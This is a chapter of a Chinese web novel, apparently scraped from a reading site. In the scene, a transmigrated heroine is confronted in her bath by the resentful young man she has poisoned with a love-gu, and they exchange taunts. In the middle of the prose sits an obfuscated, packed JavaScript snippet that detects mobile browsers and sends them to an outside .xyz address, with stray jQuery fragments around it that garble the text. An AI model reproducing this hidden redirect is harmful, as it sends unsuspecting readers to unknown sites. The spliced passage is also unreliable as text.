默认冷灰
24号文字
方正启体

9. 第 9 章

作者:邬安常本书字数:K更新时间:
    早起安排好一切的红音从宫里回来,便自觉去收拾密室了,看着密室里被打翻的在地的烛台,还有地上斑驳的血迹,料想二公子怕是没在自家主子那讨到什么好。


    但陈遥吩咐她去给二公子院里挑几个顺手的小厮,给谢书庭熬药,送饭。


    红音又有些好奇,二公子这是转了性子吗?居然能让自家主子给好脸色不说,还亲自安排他的日常用度,之前如此,如今还是如此。


    陈遥不知道红音心里的弯弯绕绕,她只知道,她终于可以休息了。


    今日的宫宴陈遥不必出席,晚上给皇帝送女人的重头戏她更是早已安排妥当。


    皇帝昏庸暴虐,未免他见之大发雷霆迁怒于她,她自是能躲多远便躲多远。


    等到事情结束,再去向太后复命。


    所以今日她倒是能得了空闲,好好歇一歇。


    昨夜为了安顿谢书庭,她连官服都没顾得上换,就更别提沐浴了。


    于是一大清早她便叫水了。


    浴室里暖炭烧的火热,铜雀衔枝的烛台映得四壁暖黄。脱去层层繁琐的官服,陈遥褪去衣衫,只剩下小衣。


    腰侧果然一大片青紫,青黄蓝紫拌在一起,晕染在皮肤上,像是一朵开得正盛的花,绽放在她的肌肤上,衬得她越发白皙,伸出手轻轻一戳,顿顿的痛。


    浴室里有一面菱花铜镜,陈遥站在铜镜前,看着镜中的自己。菱花镜面映出半截腰腹,那腰腹间的一片青紫,看起来十分骇人,仿佛浸了彩墨的宣纸,从靛青到鹅黄,层层晕染。


    在一片白皙皮肤上,晨光穿过雕花隔扇,将那片青紫衬的愈发惊心。


    陈遥站在屏风一侧背对着门,忽然听得水与桶相撞的潺潺声,有人提着热水进来,脚步稳健,似乎毫不费力。


    送水的小厮向来有分寸,陈遥并未多留意。


    她扭着身子专注的看着腰腹间蔓延至后背的淤青,漫不经心道:“今日的香汤里替我加些三七和艾草吧,还有沉香,把那暖香换了,甜腻腻的不好闻。”


    原主以往多用味道甜暖的零陵香和玫瑰,她闻着总觉得腻人得慌。三七和艾草是活血化瘀的药材,沉香的味道则更为清幽内敛,具有安神、舒缓身心之效,也是一味药材,且更符合她的口味。


    谢书庭提着热水,进入里间,看到的便是她身着亵裤,上身只穿着一件小衣,脑袋侧歪着探头去看腰后淤青的场景。


    她背对着自己,露出大片雪白柔嫩的肌肤,在朝阳的照耀下,肤如凝脂,光滑细腻。像是经过岁月沉淀后的美誉,温润透亮。


    那细腻白嫩的皮肤上,有一片青黄蓝紫的淤紫十分突兀,恰似被揉碎的紫藤,在瓷白肌肤上蜿蜒成一片。又像是一幅绝美画卷上突然有一团浅墨晕开,将洁净的画卷染出一片不和谐的美。


    那是昨夜她给他喂毒时,他一脚踹在她身上所致。


    那细腰盈盈一握,仿佛他一只手便能将她握住。


    他的目光钉在那片瘀痕上,上面的淤青掺在一片嫩白的肌肤中,勾起他一丝暴戾的毁灭欲来。


    谢书庭心中又涌现出一股没由来的渴望,那渴望顺着水桶散发出来的暖热雾气攀上他,烧得他心头一热。


    他背对着光,隐在暗处的面容上唯余一双黑的发亮的幽沉暗眸,像是盯着猎物的恶狼。


    攥着水桶把手的手臂青筋蜿蜒,顺着小臂向大臂内侧蔓延。


    他听见自己狠毒阴戾,带着怒意的语气,仿佛发泄一般恨恨道:“阿姐还真是不知羞耻。”


    低沉暗哑的男声自背后传来,陈遥被吓了一跳,浑身汗毛都竖了起来。


    她杏眼瞪圆,眼中带着怒意和慌乱,见来人是谢书庭,便连忙从一旁的屏风上将方才脱下的官袍扯下来包裹住自己。


    “谁让你进来的!一点规矩都没有!”


    陈遥耳廓微红,宽大的长袍下,裸露的脊背上仿佛还停留着被灼烧般的视线。


    闻言,瞧她一脸羞赧慌乱的模样,谢书庭嗤笑一声,提着热水桶堂而皇之走进里间,将热水倒入浴桶中。氤氲的水汽升腾,室内温度也随之升高。


    “到底是谁不知羞耻,不识礼数?”


    见他如此,陈遥的侧过身子靠在香案上,有些愤愤道。


    却见谢书庭提着空桶邪魅一笑,径直向她走来,一手扶在香案上将她困在身前,陈遥挣扎着向后靠,却被他一手揽住腰窝,二人距离瞬间被拉近。


    谢书庭低下头,靠近她,鼻尖馨香萦绕,让他眼神微颤,忍不住俯身压向她。


    “阿姐想要的不就是如此么?”


    他眼中恶劣的嘲弄与讽刺让陈遥意识到眼前人只是书里的一个角色,抛却攻略任务,自己与他甚至都不是一个时代的人,二人毫不相关。


    他只是自己接下的一个任务罢了。


    思及此,陈遥突然就放松了,这幅身躯是原主的,又不是自己的,她有什么可害羞的?


    她僵直的身子缓缓放软,猜想他是因为相思缠的缘故,这才不由自主的靠近她。


    虽然他眼中的厌恶阴戾之情不改,但他嘴角却带着玩味的弧度,手掌的温度节节攀升,将她的腰窝烫的发痒。


    陈遥神情放松下来,垂首看着他鼻尖上的痣,脑袋微微后仰着,用目光一寸一寸勾勒着他的清隽俊美的面容。


    “你倒是提醒我了,许久没见男人,我确实寂寞了许多,不如你今日陪陪阿姐?”


    她松开拢着衣袍的手,伸手环住谢书庭的脖子,将他拉向自己,用鼻尖若即若离的轻蹭着他鼻尖的那点痣,垂眸将视线落在他红润的唇上,又抬眼去瞧他的眼睛。


    松垮的衣袍没了束缚,顺着她的一侧缓缓滑落,露出她圆润细腻的肩头,和绣着几瓣莲花的和合心衣。


    微鼓的胸口与他一拳之隔,随着她的呼吸起伏着。


    谢书庭撑在香案上的手攥着拳,下颌处的咬肌微鼓,她鬓发的香气四溢,他惊觉自己的身体在渴望她。


    看着她媚眼如丝,眼神时不时留恋在他嘴唇上,谢书庭没由来的恶心,却又不由自主的将目光下移。


    她粉唇微张,嘴角自然上翘,二人挨得极近,所以他能很清晰的看见她唇上的细纹。


    小巧的唇犹如浸染了花蜜一般透着润泽的光,红唇似花,皓齿如雪。


    只见她唇畔淡勾,浮现出一抹冷然讥笑,红唇散发着诱人光泽,却又透露着凉薄之气。


    仿佛他只不过是猎场上她看准的猎物,此时正如同蛛网上待捕的食物,一步一步陷入她早已准备妥当的圈套。


    陈遥见他毫无动静,面容没有一丝波动,眸子半掩着,后腰处的手甚至在无意识的摩挲她的皮肉。


    心下不由得渐凉,难道说那相思缠竟如此有用,一个小小的蛊虫竟然能扭转一个人心底对于另一个人的仇恨?


    随后她便听见谢书庭冷笑一声,眼神阴鸷冷漠。


    “我嫌脏。”


    “不管你昨日给我喂了什么毒药,有何歹毒的心思,我都不会如你所愿的。”


    “要我陪你?你做梦!”


    说罢,他便冷冷推开陈遥,转身离去。


    阴冷的气息再度浮现在他的周围,带着生人勿近的凌然与狠厉。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941016|177352||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    陈遥见他离去,这才松了一口气。方才他的眼神晦暗不明,她几乎都要以为谢书庭真的对自己感兴趣了。


    幸好他还是他。


    如此想着,思绪流转,她随即复又皱起眉头来,让他好好养伤,他怎么又来送热水了,谁吩咐的?


    “来人。”


    门外侍女应声推门进来,立在屏风后恭敬地问道:“姑娘有何吩咐?”


    “谁让二公子来的?”


    闻言,那侍女先是一愣,然后当即跪下解释道:“昨日红音姐姐来传姑娘的话,说往后松雨阁姑娘房里的热水都由二公子来送,还有砍柴烧水,也一并交由二公子。”


    “方才姑娘叫水,奴婢便去唤二公子了......”


    侍女回话的声音越来越小,语气中满是惶恐。


    听见侍女的话,陈遥这才想起来,自己之前进宫时,确实是如此嘱咐红音的。


    只是昨日她一夜宿在谢书庭榻边,官服没换,钗环未卸,没怎么睡好,今早叫水时她才没想起来这回事。


    “是我忘了说,二公子身上有伤,尚在病中,这些日子便不用他了。”


    “是,奴婢告退。”


    侍女正准备退下,又听见陈遥道:“往后进门前,无论是谁,通传一声。”


    侍女这才想起来,因着自己方才犯瞌睡,二公子进门前,她直接将房门开了。想起刚刚房里不知名的动静,不知二公子和姑娘发生了什么,万一冲撞了主子,她就小命不保了。


    于是连忙道:“是奴婢失职,姑娘饶命,奴婢下次绝不再犯。”


    听着屏风外略带哭腔的声音,语气中尽是害怕被责罚的恐惧。


    原主一丝不苟,性子也不好说话,底下奴仆日子也过得担惊受怕的,况且听那侍女的声音,也不过才十三四岁,着实没必要如此严苛。


    陈遥声音放缓,淡淡道:“无碍,下不为例。”


    ------------------------------------------------------


    谢书庭提着桶自角门穿过,院子里的大黄狗正在追着满院子的鸡鸭鹅疯跑,听见声响,耳朵顿时竖了起来回头来看。


    见来人是他,张着嘴吐着舌头就跑了过来,做到他跟前,摇着尾巴,看着他。


    谢书珍不知犯了什么病,往他园子塞了一堆家禽,还有只蠢笨烦人的黄毛狗。


    他略过大黄,径直走向园中角落里,那里有一堆木桩子,是用来给谢书珍烧水用的木柴。


    园子里劈柴的声音响起,大黄见主人不搭理自己,便又像是疯了似的去追鸡撵鹅。


    木柴没劈几下,有小厮端着汤药走了进来,见他举着斧头在劈柴,动作干脆利落,且准头极好,从未劈空。


    “二公子,这些碎活交给小的做就是,姑娘吩咐了,您身上有伤,要好好歇着呢。”


    小厮急忙将奉茶盘里的汤药放到院子中的石桌上,小跑着过去接过斧头,一脸谄媚道:“公子,药熬好了,您趁热喝,劈柴这种小事,哪能劳您大驾呢。”


    这小厮是谢书珍从外院调来的,对谢书庭的处境不大了解,只以为自己发达了,能伺候谢府的二公子,这才抢着干活。


    谢书庭面无表情的睨了他一眼,见他凑过来,便将斧头扔下,略过小厮径直进了房。


    日头高了些,谢书庭身上有伤,又一身热汗,伙房还剩些热水,于是他便极快地冲洗了一下。


    角门处有人推门进来,是谢书珍院子里的侍女。


    “二公子在吗?姑娘要见您。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)